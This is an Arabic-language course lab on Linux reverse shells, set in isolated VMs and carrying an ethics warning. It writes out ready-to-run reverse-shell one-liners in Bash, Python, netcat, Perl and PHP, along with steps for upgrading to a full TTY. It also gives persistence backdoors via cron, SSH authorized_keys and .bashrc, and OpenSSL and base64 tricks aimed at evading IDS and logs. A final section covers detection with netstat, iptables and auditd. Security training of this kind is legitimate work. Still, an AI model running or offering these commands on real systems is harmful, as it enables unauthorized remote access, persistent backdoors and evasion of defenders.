المختبر 9.2: شل عكسي لينكس
الأهداف التعليمية
في نهاية هذا المختبر، ستكون قادرًا على:
- إنشاء شلات عكسية لينكس باستخدام تقنيات مختلفة
- استخدام Bash، Python، Netcat لإقامة الشلات
- تثبيت شل أساسي إلى شل TTY كامل
- فهم الشلات العكسية ذات السطر الواحد
- إقامة الاستمرارية مع الشلات العكسية
- اكتشاف وحظر الشلات العكسية لينكس
- فهم الفروقات بين شلات لينكس و ويندوز
المدة المقدرة
30 دقيقة
المتطلبات المسبقة
- 2 VMs: Kali Linux (المهاجم) + Ubuntu/Debian (الهدف)
- شبكة داخلية مهيأة
- فهم مختبر 3.2 (شل عكسي ويندوز)
- إكمال مختبر 9.1 (تصعيد الامتيازات لينكس)
السياق المهني
تُستخدم الشلات العكسية لينكس من قبل:
- مختبري الاختراق بعد الاستغلال الأولي (شل ويب، SSH مخترق)
- برمجيات خبيثة لينكس للاتصال C2
- مجموعات APT للحفاظ على الوصول طويل الأمد
- فرق Red Teams لمحاكاة الهجمات
تُستخدم بعد:
- استغلال ثغرة ويب (RCE)
- استغلال خدمة لينكس
- نجاح القوة الغاشمة SSH
- حشو بيانات الاعتماد
تحذير أخلاقي وقانوني
إقامة شل عكسي على نظام بدون إذن = وصول غير مصرح به.
مسموح:
- VMs مختبر معزولة
- اختبارات مصرح بها بعقد
- منصات قانونية (HTB، THM)
ممنوع:
- خوادم حقيقية بدون إذن
- الحفاظ على الوصول غير المصرح به
العواقب: جريمة حاسوبية (قانون العقوبات المادة 342.1).
الجزء 1: شل عكسي Bash
سطر واحد كلاسيكي
على VM المهاجم (Kali)، استمع:
nc -lvnp 4444
على VM الضحية (Ubuntu)، نفذ:
bash -i >& /dev/tcp/192.168.100.10/4444 0>&1
شرح مفصل:
bash -i # شل تفاعلي
>& # إعادة توجيه stdout و stderr
/dev/tcp/IP/PORT # جهاز خاص bash للاتصالات TCP
0>&1 # إعادة توجيه stdin
بوم! اتصال تم إنشاؤه!
على Kali، ترى:
listening on [any] 4444 ...
connect to [192.168.100.10] from (UNKNOWN) [192.168.100.20] 54321
user@target:~$
شل كامل من الضحية!
أسئلة:
- هل تم إنشاء الاتصال الشل العكسي؟
- ما الفرق مع الشل العكسي ويندوز؟
الجزء 2: تنويعات الشلات العكسية
شل عكسي Python
إصدار Python 2:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
إصدار Python 3:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
ميزة: يعمل حتى إذا لم يكن /dev/tcp متاحًا
شل عكسي Netcat
إذا كان netcat متاحًا على الهدف:
nc 192.168.100.10 4444 -e /bin/bash
إذا كان nc بدون خيار -e (إصدار BSD):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.100.10 4444 >/tmp/f
شل عكسي Perl
perl -e 'use Socket;$i="192.168.100.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
شل عكسي PHP
إذا كان PHP متاحًا:
php -r '$sock=fsockopen("192.168.100.10",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
أسئلة: 3. أي طريقة تعمل على نظامك الهدف؟ 4. أيها تفضل ولماذا؟
الجزء 3: تثبيت الشل
مشكلة الشلات الأساسية
شل أساسي لديه قيود:
- لا يوجد إكمال تلقائي (Tab)
- لا يوجد تاريخ (الأسهم لأعلى/لأسفل)
- لا يوجد مسح للشاشة (Ctrl+L)
- Ctrl+C يقتل الشل
- لا يوجد vi/nano وظيفي
الطريقة 1: Python PTY
في الشل العكسي، نفذ:
python3 -c 'import pty; pty.spawn("/bin/bash")'
أو:
python -c 'import pty; pty.spawn("/bin/bash")'
النتيجة: شل تفاعلي أساسي
ثم، للحصول على شل كامل:
# في الشل
export TERM=xterm
# ثم، اضغط Ctrl+Z (وضع في الخلفية)
على جهازك المهاجم (Kali):
stty raw -echo; fg
ثم اضغط Enter مرتين
بوم! شل TTY كامل!
اختبر:
- Tab للإكمال التلقائي
- الأسهم للتاريخ
- Ctrl+L للمسح
- vi/nano يعملان!
الطريقة 2: أمر Script
script /dev/null -c bash
شل تفاعلي فوري!
الطريقة 3: Expect
expect -c 'spawn bash; interact'
أسئلة: 5. هل نجحت في تثبيت الشل؟ 6. ما هي الميزات التي تعمل الآن؟
الجزء 4: الاستمرارية لينكس
وظيفة Cron لإعادة الاتصال التلقائي
إنشاء سكريبت لإعادة الاتصال:
echo '#!/bin/bash' > /tmp/reverse.sh
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' >> /tmp/reverse.sh
chmod +x /tmp/reverse.sh
إضافة إلى crontab:
(crontab -l 2>/dev/null; echo "* * * * * /tmp/reverse.sh") | crontab -
التنفيذ: كل دقيقة!
التحقق:
crontab -l
خلفية مفتاح SSH
إضافة مفتاح SSH الخاص بك:
mkdir -p /home/user/.ssh
echo "ssh-rsa AAAA... مفتاحك_العام" >> /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys
اتصال مستقبلي:
ssh user@192.168.100.20
وصول دائم بدون كلمة مرور!
خلفية Bashrc
إضافة إلى .bashrc:
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /home/user/.bashrc
كلما فتح المستخدم طرفية: شل عكسي!
أسئلة: 7. هل تعمل الاستمرارية عبر cron؟ 8. كيف تكتشف هذه الخلفيات؟
الجزء 5: التشفير والتضليل
شل عكسي مشفر
مع OpenSSL:
المهاجم (استمع مع SSL):
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
الضحية (اتصال SSL):
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.100.10:4444 > /tmp/s; rm /tmp/s
اتصال مشفر! IDS/IPS أصعب في الاكتشاف.
تضليل Base64
تشفير الحمولة:
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' | base64
النتيجة:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK
التنفيذ:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK | base64 -d | bash
أقل اشتباهًا في السجلات!
أسئلة: 9. هل يعمل الشل المشفر؟ 10. لماذا التضليل مفيد؟
الجزء 6: الاكتشاف والدفاع
اكتشاف الاتصالات الصادرة
قائمة الاتصالات النشطة:
netstat -antup | grep ESTABLISHED
ss -tunap
lsof -i
البحث عن bash/sh مع اتصالات شبكة:
ps aux | grep bash
lsof -i -a -c bash
إذا كان bash لديه اتصال TCP صادر: مشبوه!
الحظر مع iptables
حظر الاتصالات الصادرة إلا المصرح بها:
iptables -P OUTPUT DROP
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
الشلات العكسية محظورة!
المراقبة مع auditd
مراقبة تنفيذ bash:
auditctl -a always,exit -F arch=b64 -S execve -F path=/bin/bash
السجلات في: /var/log/audit/audit.log
أسئلة: 11. هل اكتشفت الشل العكسي مع netstat؟ 12. هل iptables حظر الاتصال؟
التسليمات
- تقرير مع طرق الشل العكسي المختلفة التي تم اختبارها
- شل مثبت وفعال
- استمرارية مهيأة ومختبرة
- اكتشاف وحظر تم إثباته
أوامر مرجعية
الشلات العكسية
# Bash
bash -i >& /dev/tcp/IP/PORT 0>&1
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Netcat
nc IP PORT -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f
التثبيت
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
الاستمرارية
(crontab -l; echo "* * * * * /tmp/reverse.sh") | crontab -
echo 'مفتاح_ssh' >> ~/.ssh/authorized_keys
echo 'حمولة' >> ~/.bashrc
الخاتمة
تقنيات متقنة:
- شلات عكسية لينكس بطرق متعددة
- تثبيت TTY كامل
- استمرارية عبر cron، SSH، bashrc
- التشفير والتضليل
- الاكتشاف والدفاع
الفروقات بين لينكس و ويندوز:
- لينكس: المزيد من الطرق الأصلية (bash، python مثبتة مسبقًا)
- التثبيت أسهل (PTY)
- الاكتشاف مشابه (netstat، المراقبة)
مختبر تم تطويره في إطار دورة نظم التشغيل - MODULE 9